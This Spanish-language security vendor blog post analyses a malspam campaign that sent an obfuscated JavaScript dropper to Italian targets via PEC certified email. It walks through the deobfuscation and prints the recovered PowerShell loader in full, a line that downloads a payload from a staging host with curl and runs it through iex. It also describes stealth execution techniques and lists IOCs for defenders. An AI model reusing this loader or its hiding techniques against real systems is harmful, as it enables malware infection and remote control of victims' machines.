Ir al contenido principal
|
0 minutos de lectura

Código Malicioso en JavaScript Enviado a Través de Correos Electrónicos mediante PEC (Posta Elettronica Certificata)

Get a Demo of Forcepoint Solutions
  • Hassan Faizan

A principios de octubre, el equipo de investigación X-Labs identificó una campaña de malspam dirigida a empresas e individuos italianos a través de PEC (Posta Elettronica Certificata). PEC es un sistema de correo electrónico certificado, comúnmente utilizado en Italia para comunicaciones seguras y legalmente reconocidas. Es ampliamente adoptado por personas, empresas y administraciones públicas, especialmente en casos en los que se necesita prueba de comunicación. Debido a su naturaleza confiable, PEC a menudo es explotado por ciberdelincuentes para fines maliciosos.

Nuestro equipo observó múltiples correos electrónicos de malspam similares dirigidos a varias entidades mediante su telemetría en la nube. La Fig. 1 ilustra un ejemplo de un correo electrónico que utiliza PEC para distribuir código malicioso.

Fig. 1 - Correo de malspam

El correo estaba destinado a un cliente italiano. El cuerpo del mensaje ha sido traducido al inglés de la siguiente manera:

“Por la presente, me permito recordarle que, en virtud del contrato firmado entre nosotros el 1/06/2024, usted está obligado a pagarme la suma de 1254 euros. A la fecha, esta suma sigue sin ser abonada a pesar de varios recordatorios que ya le he enviado.

Por lo tanto, le informo que, si no realiza el pago de manera voluntaria dentro de los cinco días siguientes a la recepción de esta carta, me veré obligado a instruir a mi abogado para iniciar los procedimientos legales para la recuperación del crédito, sin más avisos o recordatorios. Esta comunicación, por lo tanto, constituye una notificación formal e interrumpe la prescripción.

Saludos cordiales,

La factura está disponible en el siguiente enlace:”

El nombre de la empresa y su dirección han sido intencionalmente redactados para proteger su información. El actor de la amenaza disfraza el enlace real utilizando el nombre de la empresa como texto de enlace. En el correo electrónico anterior, identificamos un enlace malicioso, a saber:

  • hxxps://nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3

El subdominio parece haber sido generado mediante DGA y se ve aleatorio. Hay poca información sobre el dominio, por lo que es probable que esté controlado por un atacante. En el momento del análisis, la URL estaba activa y descargaba un archivo malicioso en JavaScript (_Fattura_38377668.js).

Ahora, analicemos más de cerca la estructura del script y examinemos su comportamiento.

Análisis de JavaScript

En una inspección inicial, el script parece estar fuertemente ofuscado, lo que dificulta discernir su funcionalidad real. Para comprender mejor sus operaciones, llevamos a cabo el proceso de desofuscación.

El script contiene 3 funciones:

  • honour_march_0thehas()
  • honour_march_0wasbut(thehas, wasbut)
  • hvngqasq(zfutxpog)

Desglosemos cada función para entender:

Función honour_march_0thehas()

Dentro de la función, se declara una variable overchurch, que es un array que contiene cuatro cadenas de texto. Las cadenas en el array overchurch parecen ser datos ofuscados o codificados. Sin contexto adicional, es difícil determinar su propósito exacto, pero podrían representar información encriptada o codificada que podría usarse en otras partes del código. La Fig. 2 muestra el fragmento de código de overchurch.

Fig. 2 - Fragmento de código de overchurch

Función honour_march_0wasbut(thehas, wasbut)

La función toma dos parámetros:

  • thehas: objeto o array que contiene datos codificados.
  • wasbut: probablemente sirve como clave o parámetro adicional para decodificar.
  • Llama a la función previamente definida honour_march_0thehas() para recuperar un array de cadenas (almacenado en viiheld).
  • La función externa honour_march_0wasbut se reasigna a una función interna que realiza una operación específica.
  • El primer parámetro de entrada fromhabit se ajusta restando 301 (0x12D). Este valor se usa luego para indexar el array viiheld.

Fig. 3 - Descifrado de la función

Si honour_march_0wasbut['AiPGsL'] no está definido, inicializa varias funciones y variables.

Un método personalizado de decodificación Base64 (mostrado en Fig. 4):

  • Toma un parámetro de entrada llamado Wallsmisleading, que se espera que sea una cadena codificada en Base64.
  • Usa operaciones bit a bit y aritmética modular para convertir cada carácter de Base64 en su valor binario correspondiente.
  • Los valores binarios decodificados luego se convierten nuevamente en caracteres utilizando String.fromCharCode.
  • Después de la decodificación, la función construye una cadena codificada en URL. Cada valor de carácter se convierte a un formato de codificación de porcentaje.
  • Finalmente, la función devuelve la cadena completamente decodificada en URL.
  • La operación bit a bit añade una capa de complejidad, lo que podría ser un intento de disfrazar la lógica de decodificación.

Fig. 4 - Método de decodificación personalizado en Base64

Decodificación similar a cifrado usando operaciones XOR (mostrado en Fig. 5):

  • Utiliza una clave (derivada de la entrada wAllsmisleading) para decodificar la cadena de entrada (vIiheld) mediante XOR de los caracteres.

Fig. 5 - Operaciones XOR

  • La función (Fig. 6) intenta recuperar un resultado previamente calculado del parámetro thehas (que probablemente sea un array u objeto) usando el índice fromhabit ajustado y ownchurch.

Fig. 6 - Función de recuperación

Finalmente, la función devuelve el valor decodificado.

Función hvngqasq(zfutxpog)

  • Esta función toma una cadena hexadecimal (zfutxpog), asegura que tenga un número par de caracteres y convierte cada par de caracteres en su valor entero correspondiente. El array resultante de números es luego devuelto. La Fig. 7 muestra el fragmento de código.

Fig. 7 - Fragmento de código de array numérico

Además de esto, hay 3 variables que ahora harán referencia a la función honour_march_0wasbut:

  • uaxpaudedmqohlyd
  • ysqyhmnt
  • hkjtqnfwmnjzwo

Existen 2 variables que almacenan el valor devuelto de la función hvngqasq (mostradas en la Fig. 8):

  • aosfxhvcl
  • ollazxbarpu

Fig. 8 - Dos variables

Con CyberChef, se calcula el valor devuelto de la función hvngqasq. La Fig. 9 muestra la receta de CyberChef.

Fig. 9 - Receta de CyberChef

Procedamos a examinar las secciones del código donde se están utilizando los valores devueltos. La Fig. 10 muestra el fragmento de código donde se utilizan estas variables.

Fig. 10 - Fragmento de código de variables

Hay una operación XOR entre elementos de dos arrays, aosfxhvcl y ollazxbarpu, y se convierte el resultado en un carácter usando String.fromCharCode(). El código es autoexplicativo. Para verificar el valor almacenado en la variable cqlduvdo, creamos el siguiente código en Python:

Fig. 11 - Código en Python

Fig. 12 - Resultado devuelto

¡Voilà! Esto revela información interesante. Aunque todavía parece estar escrito en PowerShell y parece estar ofuscado. Vamos a analizar los elementos clave.

  • new-alias press c$($qgbulzirjil)l;: Este comando está creando un nuevo alias llamado press, y lo está creando dinámicamente en base a la variable $qgbulzirjil. $qgbulzirjil está definida como 'ur', por lo que c$($qgbulzirjil)l se expande a 'curl', haciendo que press sea un alias para curl (que se utiliza para enviar solicitudes HTTP).
  • $bumtcbxgwj=(7251,7253,7270...: Define una serie de números, y el siguiente bucle itera sobre ellos. A cada número se le resta 7148, y el número resultante se convierte en un carácter. Esto sugiere que los números representan códigos ASCII ofuscados. Decodificamos esta sección para ver cuál sería el resultado. Aquí está el código Python a continuación:

Fig. 13 - Script Python (Códigos ASCII)

URL decodificada:

gizpvovur.top/1.php?s=mints13

  • .$([char](9992-9887)+'e'+'x'): Esto está construyendo y ejecutando dinámicamente un comando. El resultado de la operación matemática es 105, que es el código ASCII para 'i', por lo que esto se convierte en iex, una forma abreviada para el comando Invoke-Expression de PowerShell, que ejecuta el código dentro.
  • El script descarga o interactúa con la URL gizpvovur[.]top/1.php?s=mints13 usando curl. Este comportamiento podría ser parte de un script para recuperar más cargas útiles o instrucciones desde un servidor remoto, y tiene una intención potencialmente maliciosa.

Pasemos al siguiente paso. La Fig. 14 muestra el fragmento de código posterior:

 

Fig. 14 - Fragmento de código posterior

De nuevo, se está creando un array y asignándolo a la variable nkgkunojefmjc. Como se mencionó anteriormente, las variables uaxpaudedmqohlyd, ysqyhmnt y hkjtqnfwmnjzwo hacen referencia a una función honour_march_0wasbut, lo que provoca la inicialización de varias funciones y variables si no se cumple cierta condición (mencionada anteriormente). Decodificar manualmente la función es muy laborioso, pero podemos depurar ese código JavaScript para conocer la salida que luego se asigna a las variables anteriores. Después de depurar, descubrimos las cadenas asignadas a estas variables.

uaxpaudedmqohlyd -> “winmgmts:root\cimv2:Win32_Process”

ysqyhmnt -> “less powershel”

hkjtqnfwmnjzwo -> “conhost –head”

cqlduvdo -> “l $qgbulzirjil='ur';new-alias press c$($qgbulzirjil)l;$bumtcbxgwj=(7251,7253,7270,7260,7266,7259,7266,7265,7262,7194,7264,7259,7260,7195,7197,7194,7260,7252,7260,7211,7263,7209,7257,7253,7258,7264,7263,7197,7199);$oayiop=('bronx','get-cmdlet');$axvdkllmwtkm=$bumtcbxgwj;foreach($jtnsbmkhwu in $axvdkllmwtkm){$zsbvmyotsckki=$jtnsbmkhwu;$ynfictsxc=$ynfictsxc+[char]($zsbvmyotsckki-7148);$keskaghbwwme=$ynfictsxc;$peonhdgp=$keskaghbwwme};$fkzszio[2]=$peonhdgp;$ulhsdxick='rl';$ervchdsip=1;.$([char](9992-9887)+'e'+'x')(press -useb $peonhdgp)”

hkjtqnfwmnjzwo -> “time”

winmgmts\cimv2:Win32_Process:

  • Esta parte del código utiliza WMI (Windows Management Instrumentation) para acceder a la información del sistema.
  • winmgmts: Es un moniker de WMI que le indica al Windows Script Host que utilice los objetos WMI, conectándose al espacio de nombres predeterminado.
  • root\cimv2: Es el espacio de nombres predeterminado en WMI que contiene muchas clases relacionadas con la gestión del sistema.
  • Win32_Process: Es una clase de WMI que proporciona información sobre los procesos que se ejecutan en el sistema. Esto permite que el script interactúe con los procesos en la máquina. Este tipo de actividad puede ser riesgosa, ya que un script que utiliza esto puede ser utilizado para actividades maliciosas, como terminar procesos relacionados con la seguridad o iniciar procesos no deseados.

Headless console host environment:

  • El comando inicia conhost (Console Window Host) en headless mode, lo que significa que se ejecuta sin mostrar una ventana de consola. Esto a menudo se utiliza para ejecutar procesos en segundo plano de forma silenciosa, y podría ser una táctica para ocultar el comportamiento malicioso (Ejecución sigilosa).

Mientras continuábamos nuestra investigación, descubrimos otra táctica interesante. Se encontraron una gran cantidad de líneas comentadas, con el código real activo oculto entre ellas. Esta técnica parece ser utilizada para introducir datos basura en la memoria, con el potencial objetivo de corromperla u oscurecer el código malicioso. La Figura 15 ilustra un ejemplo de este comportamiento.

Fig. 15 - Ocultación de código malicioso

Filtramos las líneas no comentadas, como encontrar una aguja en un pajar, y nos mostró lo siguiente (ver Fig. 16):

Fig. 16 - Línea no comentada

Esta línea de código solo sirve para reorganizar el código de PowerShell como se muestra en la siguiente imagen (Fig. 17):

Fig. 17  - Código PowerShell

También capturamos el tráfico de red mientras nos comunicábamos con el servidor, es decir, gizpvovur[.]top

Como respuesta, recibimos un código PowerShell ofuscado, es decir, sha1: d70b9c14c4146ade02c79eaf8aa335f1c50d4636 mientras hacíamos la conexión a la URL de staging hxxp://gizpvovur[.]top/1.php?s=mints13.

Fig. 18 illustrates as below: 

Fig. 18 - Código PowerShell ofuscado

Ejecutamos este código PowerShell en nuestro entorno y capturamos el tráfico de red, como se ilustra en la Fig. 19:

Fig. 19 - Tráfico de red

Esta solicitud GET parece estar accediendo a un script PHP uvj0epxg28htr.php (el nombre del archivo PHP parece cambiar con cada solicitud) desde un posible servidor C2, es decir, fjjlkfakeinfkid[.]top, y pasando tres parámetros (id, key, y s).

  • id: Nombre del computador o identificador único para una máquina de escritorio.
  • key: Podría ser un token de autenticación para autorizar la solicitud.
  • s: Podría ser una consulta de tiempo en minutos, potencialmente para una operación de suspensión.

Conclusión

El uso creciente de PEC (Posta Elettronica Certificata) para enviar correos electrónicos no solicitados con código JavaScript malicioso y ofuscado representa una amenaza creciente para la ciberseguridad. Estos correos electrónicos aprovechan la naturaleza segura de PEC para ganar confianza, lo que les permite eludir ciertos filtros de seguridad. La ofuscación del código JavaScript hace que sea difícil detectar y analizar la carga maliciosa, lo que aumenta el riesgo de infección para los usuarios.

Declaración de protección

Los clientes de Forcepoint están protegidos contra esta amenaza en las siguientes etapas del ataque:

  • Etapa 2 (Trampa): Las URLs maliciosas asociadas con este ataque son identificadas y bloqueadas.
  • Etapa 5 (Dropper): El archivo dropper es añadido a la base de datos de maliciosos de Forcepoint y bloqueado.
  • Etapa 6 (Llamada a casa): Dominio de C&C bloqueado.

IOC:

URLs de Dropper:

  • hxxps[://]nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3
  • hxxps[://]z6gil1l15rfl2ikt3x0cm307tvdip66tlwnr2b3cqwkbgcylevcb8mdti[.]customerconverse[.]com/r2dmo
  • hxxps[://]x48zo70ug1hl10tdvxqxl24l32rud7ngbbsbnotcs7i1e6er081[.]customerconverse[.]com/xbqz7v
  • hxxps[://]vx0yg09a6hpisfw16qvltqbrn100daxzzinazj6kk[.]customerconverse[.]com/hkcv1t
  • hxxps[://]drlnx69mthj55zkbpcbfno3m0dsv11b0pb1ywj98au5e1pq4quzb[.]customerconverse[.]com/a4die1 
  • hxxps[://]we5h0up8c8mf9sslzqxpliyvgdfjtfsqyk1ic6zouyfub1t5ob82rw3ur8xq[.]customerconverse[.]com/73l1g2
  • hxxps[://]g2kwlrkkzd1g83q362jnl31vluwb2vykomkk6cmd[.]customerconverse[.]com/pv10qv
  • hxxps[://]wkfijx7cycdybkodehsq2lrc94n1tzm7skn87vn6t6f4s0oq[.]customerconverse[.]com/vfcn5i
  • hxxps[://]3kcje55g7aih98vzkdfgqbfhihjdwhyp8q82s21xblv77qmx0snij[.]customerconverse[.]com/m7tksk

Hash:

  • 90b8febf952dcb6d943418dbeff1eb487abfcfbc
  • d70b9c14c4146ade02c79eaf8aa335f1c50d4636

 

URL de staging:

  • hxxp://gizpvovur[.]top/1.php?s=mints13


Posible servidor C2:

  • fjjlkfakeinfkid[.]top
     
  • syed_hassan_faizan.jpg

    Hassan Faizan

    Syed Hassan Faizan as a Security Researcher for Forcepoint X-Labs Research Team. He devotes his time in researching cyber-attacks that targets the web and email, particularly focusing on URL analysis, email security and malware campaign investigation. He is passionate about analysing cyber threats aimed at windows systems.

    Leer más artículos de Hassan Faizan

    En este post

    X-Labs

    Get insight, analysis & news straight to your inbox

    Al Grano

    Ciberseguridad

    Un podcast que cubre las últimas tendencias y temas en el mundo de la ciberseguridad

    Escuchar Ahora